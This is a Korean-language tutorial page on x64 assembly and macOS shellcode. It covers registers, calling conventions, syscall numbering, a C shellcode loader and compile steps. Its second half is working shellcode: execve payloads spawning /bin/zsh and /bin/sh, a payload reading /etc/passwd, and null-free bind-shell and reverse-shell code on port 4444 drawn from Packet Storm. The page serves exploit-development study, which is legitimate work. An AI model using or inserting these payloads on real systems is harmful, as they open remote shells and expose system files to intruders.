Introduction to x64

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x64 소개

x64 또는 x86-64은 주로 데스크탑 및 서버 컴퓨팅에서 사용되는 64비트 프로세서 아키텍처입니다. 인텔이 생산한 x86 아키텍처에서 유래하였으며 AMD가 AMD64라는 이름으로 채택한 후 현재 개인 컴퓨터 및 서버에서 주요 아키텍처로 사용되고 있습니다.

레지스터

x64는 x86 아키텍처를 확장하여 rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, 그리고 r8부터 r15까지 레이블이 붙은 16개의 범용 레지스터를 제공합니다. 각 레지스터는 64비트(8바이트) 값을 저장할 수 있습니다. 이러한 레지스터는 호환성 및 특정 작업을 위해 32비트, 16비트 및 8비트 하위 레지스터도 가지고 있습니다.

rax - 함수로부터의 반환 값으로 전통적으로 사용됩니다.
rbx - 메모리 작업의 베이스 레지스터로 자주 사용됩니다.
rcx - 루프 카운터로 일반적으로 사용됩니다.
rdx - 확장된 산술 연산을 포함한 여러 역할에 사용됩니다.
rbp - 스택 프레임의 베이스 포인터입니다.
rsp - 스택의 맨 위를 추적하는 스택 포인터입니다.
rsi 및 rdi - 문자열/메모리 작업에서 소스 및 대상 인덱스로 사용됩니다.
**r8**부터 r15 - x64에서 도입된 추가 범용 레지스터입니다.

호출 규약

x64 호출 규약은 운영 체제에 따라 다릅니다. 예를 들어:

Windows: 처음 네 개의 매개변수는 레지스터 rcx, rdx, r8, **r9**에 전달됩니다. 추가 매개변수는 스택에 푸시됩니다. 반환 값은 **rax**에 있습니다.
System V (UNIX와 유사한 시스템에서 일반적으로 사용됨): 처음 여섯 개의 정수 또는 포인터 매개변수는 레지스터 rdi, rsi, rdx, rcx, r8, **r9**에 전달됩니다. 반환 값 또한 **rax**에 있습니다.

함수에 여섯 개 이상의 입력이 있는 경우 나머지는 스택에 전달됩니다. RSP, 스택 포인터는 16바이트 정렬이 되어야 하며, 이는 호출이 발생하기 전에 가리키는 주소가 16으로 나누어 떨어져야 함을 의미합니다. 일반적으로 우리는 함수 호출 전에 쉘코드에서 RSP가 적절하게 정렬되어 있는지 확인해야 합니다. 그러나 실제로는 이 요구 사항을 충족하지 않아도 시스템 호출이 많은 시간 동작합니다.

Swift에서의 호출 규약

Swift는 자체 호출 규약을 가지고 있으며 https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64에서 찾을 수 있습니다.

일반적인 명령어

x64 명령어에는 이전 x86 명령어와의 호환성을 유지하고 새로운 명령어를 도입하는 풍부한 세트가 있습니다.

mov: 한 레지스터 또는 메모리 위치에서 다른 위치로 값을 이동합니다.
예: mov rax, rbx — rbx의 값을 rax로 이동합니다.
push 및 pop: 스택에 값을 푸시하거나 팝합니다.
예: push rax — rax의 값을 스택에 푸시합니다.
예: pop rax — 스택의 맨 위 값을 rax로 팝합니다.
add 및 sub: 덧셈 및 뺄셈 연산입니다.
예: add rax, rcx — rax와 rcx의 값을 더하여 결과를 rax에 저장합니다.
mul 및 div: 곱셈 및 나눗셈 연산입니다. 참고: 피연산자 사용에 대한 특정 동작이 있습니다.
call 및 ret: 함수를 호출하고 함수에서 반환하는 데 사용됩니다.
int: 소프트웨어 인터럽트를 트리거하는 데 사용됩니다. 예: 32비트 x86 Linux에서 시스템 호출에 int 0x80이 사용되었습니다.
cmp: 두 값을 비교하고 결과에 따라 CPU의 플래그를 설정합니다.
예: cmp rax, rdx — rax를 rdx와 비교합니다.
je, jne, jl, jge, ...: 이전 cmp 또는 테스트의 결과에 따라 제어 흐름을 변경하는 조건부 점프 명령어입니다.
예: cmp rax, rdx 명령어 후, je label — rax가 rdx와 같으면 label로 점프합니다.
syscall: 일부 x64 시스템(현대 Unix와 같은)에서 시스템 호출에 사용됩니다.
sysenter: 일부 플랫폼에서 최적화된 시스템 호출 명령어입니다.

함수 프롤로그

이전 베이스 포인터를 푸시: push rbp (호출자의 베이스 포인터 저장)
현재 스택 포인터를 베이스 포인터로 이동: mov rbp, rsp (현재 함수의 새로운 베이스 포인터 설정)
로컬 변수를 위한 스택에 공간 할당: sub rsp, <size> (는 필요한 바이트 수입니다)

함수 에필로그

현재 베이스 포인터를 스택 포인터로 이동: mov rsp, rbp (로컬 변수 해제)
이전 베이스 포인터를 스택에서 팝: pop rbp (호출자의 베이스 포인터 복원)
반환: ret (호출자에게 제어 반환)

macOS

시스템 호출

다양한 종류의 시스템 호출이 있습니다. 여기에서 찾을 수 있습니다:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

그럼, 각 시스템 호출 번호를 이 URL에서** 찾을 수 있습니다:**

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

그래서 Unix/BSD 클래스에서 open 시스템 호출(5)을 하려면 0x2000000을 추가해야 합니다.

따라서 open을 호출하기 위한 시스템 호출 번호는 0x2000005가 됩니다.

쉘코드

컴파일하려면:

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

바이트를 추출하려면:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'

쉘코드를 테스트하는 C 코드

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### 쉘

[**여기**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)에서 가져온 내용을 설명합니다.

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='adr를 사용한 경우'>

```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

cat으로 읽기

목표는 execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)을 실행하는 것이므로 두 번째 인자 (x1)는 매개변수 배열이어야 합니다 (메모리에서는 주소 스택을 의미합니다).

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

sh를 사용하여 명령 호출

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Bind 쉘

https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html에서 포트 4444의 Bind 쉘

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

리버스 쉘

https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html에서 제공된 리버스 쉘. 127.0.0.1:4444로의 리버스 쉘.

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

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Last updated 20 days ago